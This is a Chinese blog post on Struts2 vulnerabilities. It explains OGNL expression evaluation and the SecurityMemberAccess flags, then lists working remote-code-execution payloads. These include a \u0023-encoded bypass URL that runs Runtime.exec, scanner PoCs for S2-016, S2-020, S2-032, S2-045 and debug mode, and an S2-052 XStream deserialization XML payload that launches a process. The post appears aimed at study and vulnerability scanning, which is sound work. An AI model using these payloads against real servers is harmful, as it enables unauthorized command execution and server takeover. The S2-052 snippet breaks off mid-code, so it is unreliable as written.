struts2漏洞原理
一、struts2简介:
目前web框架中非常流行的都是mvc设计模式、经典例子例如:python的Django、Flask;java的ssm等。因为使用MVC设计模式,所以在框架内部处理用户数据流参数的事后就不可避免的存在数据在不同层次流转的问题。struts2作为java的一款成熟的web框架,自然也面临这个问题,于是struts2世纪了一套OGNL的模式来操作。
二、OGNL(表达式引擎,处理view层数据都字符串到controller层转换成java对象的问题)的简单介绍:
参考他人博客https://www.cnblogs.com/wsygoogol/p/6955725.html(鸣谢)
对于用户输入的参数存取处理api都在ognl.java中,分别由getvalue和setvalue两个函数实现
public static Object getValue(String expression,Map context,Object root) throws OgnlException{
return getValue((String)expression,(Map)context,root,(Class)null);
}
public static void setValue(String expression,Map context,Object root,Object value) throws OgnlException{
return setValue((Object)parseExpression(expression),(Map)content,root,value);
}
三要素:
1、expression是带有语法语义的字符串,他定义了ognl要怎么处理一个对象。
2、root 被操作对象,就是ognl利用expression定义好的操作对root进行处理。访问root属性事后使用.调用:例如department.leader.name。getvalue和setvalue的对象(本质是一个java对象)。
3、content上下文环境对象,root所处的上下文环境。在这里定义为OgnlContext对象,root是其中一个特殊变量。访问使用#开始.区分,例如#root.department.leader.name(本质是一个Map结构)。
特殊的,ognl对静态属性和方法的访问,使用@classname@functiononame/varitename,举例:@core.example.core.Recourse@img/@core.example.core.Recourse@get()
三、OGNL支持构造对象(直接表达式创建):
1、构造list {} 中间用,分开元素的方式表达式列表
2、map 使用#{}构造,都好隔开key:value
3、java class的构造函数创建
四、在OGNL实现过程中的安全保护机制:
上文提到过,content在OGNL.java中定义在了计算时才动态创建的OgnlContext对象里面,并传入Map类型的content对root和一些默认行为。在一连串的过程中,struts默认配置一些安全保障机制,可惜是可以被绕过的。
//SecurityMemberAccess类中两个参数限制
denyMethodExecution = true;//禁止执行静态方法
MemberAccess = false;//禁止静态方法访问
五、漏洞利用:
1、对#的过滤可以使用\u0023 Unicode编码代替(早期的修补方案没有考虑到编码的问题,只是简单做了过滤)
#_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))
上面绕过了两个安全机制参数的限制(修改了安全机制参数的值)
\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)
后面接的就是代码执行构造的命令执行:
&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
/*
http://mydomain/MyStruts.action?('\u0023_memberAccess[\'allowStaticMethodAccess\']')(meh)=true&(aaa)(('\u0023context[\'xwork.MethodAccessor.denyMethodExecution\']\u003d\u0023foo')(\u0023foo\u003dnew%20java.lang.Boolean("false")))&(asdf)(('\u0023rt.exec(‘ipconfig’)')(\u0023rt\[email]u003d@java.lang.Runt[/email]ime@getRuntime()))=1
*/
六、参看巡风的多个PoCs的Payload:
因为对于Java的复杂代码暂时没有分析能力,所以呢,有些poc里面的东西不能完整的理解其实现的每一步,先Mark下,后面再具体来看吧。
/*
"S2_016": {"poc": [
"redirect:${%23out%3D%23\u0063\u006f\u006e\u0074\u0065\u0078\u0074.\u0067\u0065\u0074(new \u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{99,111,109,46,111,112,101,110,115,121,109,112,104,111,110,121,46,120,119,111,114,107,50,46,100,105,115,112,97,116,99,104,101,114,46,72,116,116,112,83,101,114,118,108,101,116,82,101,115,112,111,110,115,101})).\u0067\u0065\u0074\u0057\u0072\u0069\u0074\u0065\u0072(),%23\u006f\u0075\u0074\u002e\u0070\u0072\u0069\u006e\u0074\u006c\u006e(\u006e\u0065\u0077\u0020\u006a\u0061\u0076\u0061\u002e\u006c\u0061\u006e\u0067\u002e\u0053\u0074\u0072\u0069\u006e\u0067(\u006e\u0065\u0077\u0020\u0062\u0079\u0074\u0065[]{46,46,81,116,101,115,116,81,46,46})),%23\u0072\u0065\u0064\u0069\u0072\u0065\u0063\u0074,%23\u006f\u0075\u0074\u002e\u0063\u006c\u006f\u0073\u0065()}"],
"key": "QtestQ"},
"S2_020": {
"poc": ["class[%27classLoader%27][%27jarPath%27]=1024", "class[%27classLoader%27][%27resources%27]=1024"],
"key": "No result defined for action"},
"S2_DEBUG": {"poc": [
"debug=command&expression=%23f%3d%23_memberAccess.getClass().getDeclaredField(%27allowStaticM%27%2b%27ethodAccess%27),%23f.setAccessible(true),%23f.set(%23_memberAccess,true),%23o%3d@org.apache.struts2.ServletActionContext@getResponse().getWriter(),%23o.println(%27[%27%2b%27ok%27%2b%27]%27),%23o.close()"],
"key": "[ok]"},
"S2_017_URL": {"poc": ["redirect:http://360.cn/", "redirectAction:http://360.cn/%23"],
"key": "http://www.360.cn/favicon.ico"},
"S2_032": {"poc": [
"method:%23_memberAccess%3d@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS,%23w%3d%23context.get(%23parameters.rpsobj[0]),%23w.getWriter().println(66666666-2),%23w.getWriter().flush(),%23w.getWriter().close(),1?%23xx:%23request.toString&reqobj=com.opensymphony.xwork2.dispatcher.HttpServletRequest&rpsobj=com.opensymphony.xwork2.dispatcher.HttpServletResponse"],
"key": "66666664"},
"S2_045": {"poc": [
"%{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#context.setMemberAccess(#dm)))).(#o=@org.apache.struts2.ServletActionContext@getResponse().getWriter()).(#o.println('['+'xunfeng'+']')).(#o.close())}"],
"key": "[xunfeng]"} """s2-052的,这是一个XML反序列化的与之前的不同
当启用 Struts REST的XStream handler去反序列化处理XML请求,可能造成远程代码执行漏洞,进而直接导致服务器被入侵控制。
post_data = """<map>
<entry>
<jdk.nashorn.internal.objects.NativeString> <flags>0</flags> <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data"> <dataHandler> <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource"> <is class="javax.crypto.CipherInputStream"> <cipher class="javax.crypto.NullCipher"> <initialized>false</initialized> <opmode>0</opmode> <serviceIterator class="javax.imageio.spi.FilterIterator"> <iter class="javax.imageio.spi.FilterIterator"> <iter class="java.util.Collections$EmptyIterator"/> <next class="java.lang.ProcessBuilder"> <command><string>nslookup</string><string>%s</string><string>%s</string> </command> <redirectErrorStream>false</redirectErrorStream> </next> </iter> <filter class="javax.imageio.ImageIO$ContainsFilter"> <method> <class>java.lang.ProcessBuilder</class> <name>start</name> <parameter-types/> </method> <name>foo</name> </filter> <next class="string">foo</next> </serviceIterator> <lock/> </cipher> <input class="java.lang.ProcessBuilder$NullInputStream"/> <ibuffer></ibuffer> <done>false</done> <ostart>0</ostart> <ofinish>0</ofinish> <closed>false</closed> </is> <consumed>false</consumed> </dataSource> <transferFlavors/> </dataHandler> <dataLen>0</dataLen> </value> </jdk.nashorn.internal.objects.NativeString> <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/> </entry> <entry> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/> <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
</entry>
</map>""" %
"""
*/
struts2漏洞原理的更多相关文章
- struts2漏洞原理及解决办法
1.原理 Struts2的核心是使用的webwork框架,处理action时通过调用底层的getter/setter方法来处理http的参数,它将每个http参数声明为一个ONGL(这里是ONGL的介 ...
- struts2漏洞原理及解决的方法
1.原理 Struts2的核心是使用的webwork框架,处理 action时通过调用底层的getter/setter方法来处理http的參数,它将每一个http參数声明为一个ONGL(这里是ONGL ...
- Struts2漏洞利用实例
Struts2漏洞利用实例 如果存在struts2漏洞的站,administrator权限,但是无法加管理组,内网,shell访问500. 1.struts2 漏洞原理:struts2是一个框架,他在 ...
- Struts2漏洞利用原理及OGNL机制
Struts2漏洞利用原理及OGNL机制研究 概述 在MVC开发框架中,数据会在MVC各个模块中进行流转.而这种流转,也就会面临一些困境,就是由于数据在不同MVC层次中表现出不同的形式和状态而造成 ...
- Struts2 漏洞系列之S2-001分析
0x00 前言 最近在学习java的相关漏洞,所以Struts2的漏洞自然是绕不开的.为了更好的理解漏洞原理,计划把Struts2所有的漏洞自己都做一个复现.并且自己去实现相关的POC.相关的环境 ...
- struts2漏洞复现分析合集
struts2漏洞复现合集 环境准备 tomcat安装 漏洞代码取自vulhub,使用idea进行远程调试 struts2远程调试 catalina.bat jpda start 开启debug模式, ...
- Struts2工作原理
Struts2工作原理 Struts2请求响应流程: 在struts2的应用中,从用户请求到服务器返回相应响应给用户端的过程中,包含了许多组件如:Controller.ActionProxy.Acti ...
- 打印机PCL漏洞原理分析
0x01 漏洞概要 PCL代表打印机控制语言(Printer Control Language),由惠普公司开发,并被广泛使用的一种打印机协议.关于另一种页面描述语言,应该提一提由Adobe设计的Po ...
- 漂亮回答面试官struts2的原理
众所周知,Struts2是个非常优秀的开源框架,我们能用Struts2框架进行开发,同时能快速搭建好一个Struts2框架,但我们是否能把Struts2框架的工作原理用语言表达清楚,你表达的原理不需要 ...
随机推荐
- hdu2222 KeyWords Search AC自动机入门题
/** 链接:http://acm.hdu.edu.cn/showproblem.php?pid=2222 题意:题意:给定N(N <= 10000)个长度不大于50的模式串,再给定一个长度为L ...
- AJAX乱码解决新方法
用过AJAX的朋友肯定知道javascript是使用UTF-8国际编码,即每个汉字用3个字节来存储,但是这就造成了用AJAX来send数据的时候出现乱码. 有一种解决办法就是使用encodeU ...
- VC dimension(Vapnik-Chervonenkis dimension)
二维平面的线性分类器的VC维讨论:http://www.tuicool.com/articles/JjaMfe VC维介绍:http://blog.csdn.net/lucylove3943/arti ...
- ftp传输出现问题
将文件打包压缩之后,从ftp服务器下载到本地,进行解压,出现下面的问题. 原来是传输文件的时候是默认按照netascii的格式进行传输的,没有按照二进制文件的形式传输. 再传输之前,使用bin指定传输 ...
- 【转载】C#基础系列——小话泛型
前言:前面两章介绍了C#的两个常用技术:C#基础系列——反射笔记 和 C#基础系列——Attribute特性使用 .这一章来总结下C#泛型技术的使用.据博主的使用经历,觉得泛型也是为了重用而生的,并且 ...
- 转载:【原译】Erlang性能的八个误区(Efficiency Guide)
转自:http://www.cnblogs.com/futuredo/archive/2012/10/16/2725770.html The Eight Myths of Erlang Perform ...
- 一、Open CV3.0.0 与 VS2012配置
原创:博乐Bar,转载请注明出处. 第一步,准备软件及开发环境 1.OpenCV 3.0.0 下载地址:http://www.opencv.org.cn/index.php/Download ,下载最 ...
- 【Java面试题】25 同步和异步有何异同,在什么情况下分别使用他们?举例说明。
如果数据将在线程间共享.例如正在写的数据以后可能被另一个线程读到,或者正在读的数据可能已经被另一个线程写过了,那么这些数据就是共享数据,必须进行同步存取. 当应用程序在对象上调用了一个需要花费很长时间 ...
- Kubernetes(二)架构及资源关系简单总结
Kubernetes架构 先引用一下官方的架构图: 对于本文来说,我觉得这张图有点复杂了,但是我又懒得自己画了,就用这张吧.Kubernetes是一个集群,和传统的集群相似,它也是有一个主节点和若干个 ...
- EasyTouch的使用官方文档操作步骤
对于移动平台上的RPG类的游戏,我们常用虚拟摇杆来控制人物角色的行走和一些行为,相信我们对它并不陌生,之前尝试了EasyTouch2.5,发现并没有最新版的3.1好用,2.5版本的对于自适应没有做的很 ...